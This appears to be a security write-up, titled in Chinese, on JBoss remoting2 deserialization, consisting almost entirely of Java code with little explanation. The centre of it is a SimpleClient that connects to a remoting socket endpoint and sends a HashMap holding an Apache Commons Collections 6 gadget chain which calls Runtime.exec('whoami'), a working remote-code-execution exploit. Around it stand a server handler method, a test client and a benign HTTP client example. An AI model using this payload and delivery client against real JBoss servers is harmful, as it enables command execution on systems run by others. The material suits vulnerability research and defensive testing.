JBoss remoting2协议及其反序列化分析

public ServerInvocationHandler addInvocationHandler(String subsystem, final ServerInvocationHandler handler) throws Exception {
    if (this.invoker == null) {
        throw new IllegalStateException("You may only add handlers once the Connector is created (via create() method).");
    } else {
        AccessController.doPrivileged(new PrivilegedAction() {
            public Object run() {
                handler.setMBeanServer(Connector.this.server);
                return null;
            }
        });
        return this.invoker.addInvocationHandler(subsystem, handler);
    }
}

import java.net.MalformedURLException;  
import java.util.HashMap;  
  
import org.jboss.remoting.Client;  
import org.jboss.remoting.InvokerLocator;  
  
public class ClientTest {  
  
    public static void main(String[] args){  
        String locatorURI = "socket://192.168.78.132:4446";  
        String params = "/?backlog=50&numAcceptThreads=30&maxPoolSize=30&clientMaxPoolSize=30&clientLeasePeriod=10000&timeout=8000";  
        locatorURI += params;  
        try {  
            InvokerLocator locator = new InvokerLocator(locatorURI);  
            Client client = new Client(locator,ServerHandle.class.getName());  
            client.connect();  
            client.invoke("jhb ",new HashMap<String,String>());  
        } catch (MalformedURLException e) {  
            e.printStackTrace();  
        } catch (Exception e) {  
            e.printStackTrace();  
        } catch (Throwable e) {  
            e.printStackTrace();  
        }  
    }  
  
}

public class SimpleClient {

    public static void main(String[] args) throws Throwable {
        makeInvocation("socket://192.168.78.155:4446/");
    }

    public static void makeInvocation(String locatorURI) throws Throwable {
        InvokerLocator locator = new InvokerLocator(locatorURI);
        System.out.println("Calling remoting server with locator uri of: " + locatorURI);

        Client remotingClient = new Client(locator);

        HashMap<String,Object> mateMap = new HashMap<>();
        mateMap.put("test",ApacheCommonsCollections6.getObject());
        remotingClient.connect();
        remotingClient.invoke(mateMap);
        remotingClient.invoke("jhb ",mateMap);

    }
}

class ApacheCommonsCollections6 {
    public static Object getObject() throws Exception {

        Transformer[] realChain = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{
                        String.class, Class[].class}, new Object[]{
                        "getRuntime", new Class[0]}),
                new InvokerTransformer("invoke", new Class[]{
                        Object.class, Object[].class}, new Object[]{
                        null, new Object[0]}),
                new InvokerTransformer("exec",
                        new Class[]{String.class}, new Object[]{"whoami"})};

        Transformer chain = new ChainedTransformer(realChain);
        Map innermap = new HashMap();
        Map outermap = LazyMap.decorate(innermap, chain);
        TiedMapEntry tme = new TiedMapEntry(outermap, "mykey");
        HashSet hs = new HashSet(1);
        hs.add("diggid");
        Field mapField = Class.forName("java.util.HashSet").getDeclaredField("map");
        mapField.setAccessible(true);
        HashMap hm = (HashMap) mapField.get(hs);
        Field tableField = Class.forName("java.util.HashMap").getDeclaredField("table");
        tableField.setAccessible(true);
        Object[] tableArray = (Object[]) tableField.get(hm);
        Object table = tableArray[0];
        Field key = table.getClass().getDeclaredField("key");
        key.setAccessible(true);
        key.set(table, tme);
        return hs;
    }
}

public class SimpleClient {
    // Default locator values
    private static String transport = "http";
    private static String host = "localhost";
    private static int port = 5400;

    public void makeInvocation(String locatorURI) throws Throwable {
        // create InvokerLocator with the url type string
        // indicating the target remoting server to call upon.
        InvokerLocator locator = new InvokerLocator(locatorURI);
        System.out.println("Calling remoting server with locator uri of: " + locatorURI);

        Client remotingClient = new Client(locator);

        // make invocation on remoting server and send complex data object
        // by default, the remoting http client invoker will use method type of POST,
        // which is needed when ever sending objects to the server.  So no metadata map needs
        // to be passed to the invoke() method.
        Object response = remotingClient.invoke(new ComplexObject(2, "foo", true), null);

        System.out.println("\nResponse from remoting http server when making http POST request and sending a complex data object:\n" + response);


        Map metadata = new HashMap();
        // set the metadata so remoting client knows to use http GET method type
        metadata.put("TYPE", "GET");
        // not actually sending any data to the remoting server, just want to get its response
        response = remotingClient.invoke((Object) null, metadata);

        System.out.println("\nResponse from remoting http server when making GET request:\n" + response);

        // now set type back to POST and send a plain text based request
        metadata.put("TYPE", "POST");
        response = remotingClient.invoke(WebInvocationHandler.STRING_RETURN_PARAM, metadata);

        System.out.println("\nResponse from remoting http server when making http POST request and sending a text based request:\n" + response);

        // notice are getting custom response code and message set by web invocation handler
        Integer responseCode = (Integer) metadata.get(HTTPMetadataConstants.RESPONSE_CODE);
        String responseMessage = (String) metadata.get(HTTPMetadataConstants.RESPONSE_CODE_MESSAGE);
        System.out.println("Response code from server: " + responseCode);
        System.out.println("Response message from server: " + responseMessage);
    }
}